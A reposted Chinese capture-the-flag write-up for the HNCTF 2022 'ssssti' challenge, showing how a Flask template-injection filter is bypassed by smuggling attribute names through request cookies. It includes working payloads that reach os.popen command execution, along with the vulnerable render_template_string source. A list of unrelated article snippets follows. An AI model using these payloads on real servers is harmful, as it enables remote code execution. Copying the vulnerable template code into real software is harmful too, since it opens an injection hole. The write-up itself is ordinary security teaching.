NSS [HNCTF 2022 WEEK3]ssssti

news2024/10/1 21:39:41

NSS [HNCTF 2022 WEEK3]ssssti

SSTI类题目(flask)毋庸置疑。

image-20230928074027535

有过滤,我们拿burp先fuzz一波。长度159的都是被过滤的。

image-20230928074215865

过滤了下划线、引号、args、os。

我们利用request对象绕过对下划线和引号的过滤(题目不允许POST方法,所以我们用request.cookies.x1

先找找可用类。

?name={{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}

COOKIE:class=__class__;bases=__bases__;subclasses=__subclasses__

没有os._wrap_close,但是有warnings.catch_warnings,下标为59。我们可以用内建函数 eval 执行命令。

image-20230928081057843

我们的原始payload是: ( eval 执行命令)

{{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

绕过过滤后的payload:

GET:name={{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()[59][request.cookies.init][request.cookies.globals][request.cookies.builtins][request.cookies.eval](request.cookies.cmd)}}

COOKIE:class=__class__;bases=__bases__;subclasses=__subclasses__;init=__init__;globals=__globals__;builtins=__builtins__;eval=__eval__;cmd=__import__("os").popen("ls /").read()

奇怪的事情发生了,居然执行不了????一步步排查问题是出在了__import__("os").popen("ls /").read()

image-20230928090508025

那我们换一种方式,没有os._wrap_close类也能用os模块执行命令。

原始payload:

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

绕过过滤后的payload:

GET:name={{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}

COOKIE:class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /

image-20230928091535136

源码如下:

from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directory
import os
import re
app = Flask(__name__)
@app.route("/")
def app_index():
    name = request.args.get('name')
    blacklist = ['\'', '"', 'args', 'os', '_']
    if name:
        for no in blacklist:
            if no in name:
                return 'Hacker'
    template = '''{%% block body %%} 
            <div class="center-content error"> 
                <h1>WELCOME TO HNCTF</h1> 
                <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a>
                <h3>%s</h3> 
            </div> 
            {%% endblock %%} 
             ''' % (request.args.get('name'))
    return render_template_string(template)
if __name__=="__main__":
    app.run(host='0.0.0.0',port=5050)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1979465.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【机器学习】过拟合和欠拟合、高偏差(High Bias)和高方差(High Variance)的区别、过拟合和欠拟合的示例以及图表表示

引言 在机器学习中&#xff0c;过拟合&#xff08;Overfitting&#xff09;是指模型在训练数据上学习得太好&#xff0c;以至于它捕捉到了数据中的噪声和随机波动&#xff0c;而不是潜在的真实关系&#xff0c;这导致模型在新的、未见过的数据上表现不佳&#xff1b;欠拟合&…

从零开始:MySQL安装与配置完全指南

前言 哇&#xff0c;终于进入到令人激动的MySQL环节了 它可以说是你编程生涯中的最佳朋友&#xff0c;因为它总是能存储你的数据&#xff0c;从不说&#xff1a;“我忘记了你的信 息”。而且&#xff0c;它是免费的&#xff0c;不像一些昂贵的数据库&#xff0c;它从不让你的…

部署k8s+conatinerd环境

1、准备系统环境 禁用默认休眠&#xff08;可选&#xff09; 禁用&#xff1a;systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target启用&#xff1a;sudo systemctl unmask sleep.target suspend.target hibernate.target hybrid-sleep.target …

随机对照临床试验(RCT)与历史对照临床试验(HCT)

临床试验是评估新药、新疗法或新技术有效性和安全性的关键手段。在临床试验中&#xff0c;如何选择对照组是影响试验结果准确性和可信度的重要因素。随机对照临床试验&#xff08;Randomized Controlled Trial, RCT&#xff09;和历史对照临床试验&#xff08;Historical Contr…

苹果电脑玩的游戏有哪些 Mac电脑怎么玩Windows游戏 苹果电脑可以装模拟器玩游戏吗

苹果电脑虽然在游戏生态上可能不及Windows平台那么广泛&#xff0c;但其强大的硬件和macOS系统的优化&#xff0c;足以支持一系列高质量游戏的流畅运行。从策略游戏《文明VI》到动作冒险游戏《黑暗之魂III》&#xff0c;再到解谜游戏《传送门2》和角色扮演游戏《神界&#xff1…

世界顶尖哲学家排行榜前十名,全球公认十大最厉害的思想家之一

标题&#xff1a;智慧与爱心&#xff1a;塑造命运的双翼 正能量因有爱心&#xff0c; 负能量期待智慧…&#xff08;升命学说&#xff09; 在这个纷纭复杂的世界中&#xff0c;我们每个人都是自己命运的舵手。正如升命学说所揭示&#xff0c;正能量的培养离不开爱心的滋养&…

Springboot+Vue在线考试系统(优质版)-附项目源码与配套论文

1.1 开发背景 在线考试系统的设计与实现&#xff0c;首先需要对系统进行需求分析&#xff0c;明确系统的功能和性能要求。系统需要具备考试管理、题库管理、在线考试、自动阅卷等功能&#xff0c;同时还需要保证系统的安全性、稳定性和可扩展性。 在系统的架构设计方面&#…

【多线程-从零开始-贰】线程的构造方法和常见属性

Thread 的常见构造方法 在创建线程的时候&#xff0c;是可以给线程起名字的。默认为 Thread-0 、Thread-1… 不会影响线程执行效果&#xff0c;可以更好地进行管理 ThreadGroup -线程组 把多个线程放到一组里&#xff0c;方便统一的设置线程的一些属性不过现在很少用到&#…

【增减序列】

题目 思路 多次修改操作&#xff0c;为降低复杂度&#xff0c;采用差分。 差分数组的性质可以转化这个“所有数都一样”的目标&#xff0c;转化为”b[2] ~ b[n] 均为0“的目标。 为了使得方法数最少&#xff0c;要使得方法中不存在前后矛盾的部分&#xff0c;比如减了又加。…

【SpringIOC容器设计体系分析】

SpringIoc容器架构分析 BeanFactoryHierarchicalBeanFactoryListableBeanFactoryAutowireCapableBeanFactoryAbstractBeanFactoryAbstractAutowireCapableBeanFactoryDefaultListableBeanFactoryApplicationContextConfigurableApplicationContextApplicationContext除BeanFact…

nextjs 实现TodoList网页应用案例

参考&#xff1a; https://nextjs.org/ Next.js 是用于网络的一种 React 框架。一些世界上最大的公司在使用它&#xff0c;它能够借助 React 组件的力量让您创建高质量的网络应用程序。 1、创建项目&#xff1a; 另外注意&#xff1a;pages与app路由存在冲突&#xff0c;如果有…

UniApp手机滑块验证组件代码生成器

DIY可视化实现UniApp手机滑块验证组件&#xff0c;支持自定义背景图片、成功提示、错误提示、划动提示等。 手机滑块验证组件是一种广泛应用于手机应用、网页等场景的用户验证机制&#xff0c;其主要目的是通过用户的滑动操作来验证用户的真实性和操作意图&#xff0c;从而增强…

双目视觉标定的一般方法

1 双目立体相机 双目立体相机是由两个单目相机根据 特定的参数组合而成&#xff0c;工作时可将左右两相机捕捉到的二维图像信息转换到三维立体空间 中&#xff0c;进而通过系列转换变为所需要的三维空间坐标信息。 2 一般过程 双目立体相机标定步骤一般有以下几个步骤&#…

RabbitMQ应用场景及特性

RabbitMQ是一款开源的消息队列中间件&#xff0c;拥有非常好用的管理控制面板&#xff0c;类似使用navicat一样&#xff0c;简便的操纵数据库。 应用场景 一、流量削峰 在一些并发量较高的场景下&#xff0c;比如秒杀活动&#xff0c;抢票等&#xff0c;同一时间访问量急剧增…

C#数据类型 全局变量 类型转换方法(汇总)

1、C#和S7-1200PLC S7.NET通信 C#和S7-1200PLC S7.NET通信-CSDN博客文章浏览阅读98次。一步步建立一个C#项目(连续读取S7-1200PLC数据)_s7协议批量读取-CSDN博客这篇博客作为C#的基础系列&#xff0c;和大家分享如何一步步建立一个C#项目完成对S7-1200PLC数据的连续读取。首先…

【AI绘画】FLUX:这款新的人工智能图像生成器非常善于创造人手

FLUX.1 是 Stable Diffusion 的公开重量级继承者&#xff0c;可将文本转化为图像。 FLUX.1 dev 生成图像&#xff1a;“A beautiful queen of the universe holding up her hands, face in the background.”。 就在7月下旬&#xff0c;人工智能初创公司黑森林实验室&#xff…

从零入门CV图像竞赛(2024全球Deepfake攻防挑战赛)

从零入门CV图像竞赛&#xff08;2024全球Deepfake攻防挑战赛&#xff09; Deepfake是什么&#xff1f; Deepfake是一种利用深度学习技术&#xff0c;特别是生成对抗网络&#xff08;GANs&#xff09;来实现视频、音频等多媒体内容的伪造技术。这项技术可以实现对视频中人物的…

【2】Swift Dynamic Island开发

文章目录 先新建一个实时活动组件熟悉下实时活动的代码UI代码解析 灵动岛&#xff08;Dynamic Island&#xff09;和实时活动&#xff08;Live Activities&#xff09;是 iPhone 为了便于用户在退出APP时&#xff0c;仍然能随时关注进行中的活动、高频操作的组件。其中: 灵动岛…

快速体验LLaMA-Factory 私有化部署和高效微调Llama3模型(曙光超算互联网平台异构加速卡DCU)

序言 本文以 LLaMA-Factory 为例&#xff0c;在超算互联网平台SCNet上使用异构加速卡AI 显存64GB PCIE&#xff0c;私有化部署Llama3模型&#xff0c;并对 Llama3-8B-Instruct 模型进行 LoRA 微调、推理和合并。 快速体验基础版本&#xff0c;请参考另一篇博客&#xff1a;快…

栈和队列的区别

简介 栈和队列从定义上来讲&#xff0c;只有一个不同&#xff0c;就是栈是先进后出的&#xff0c;而队列是先进先出的&#xff0c;两者不的不同如下所图所示: 栈和队列的实现 从实现上来说&#xff0c;栈和队列都可以用数组或者链表实现&#xff0c;不过从实现难度和时空复杂…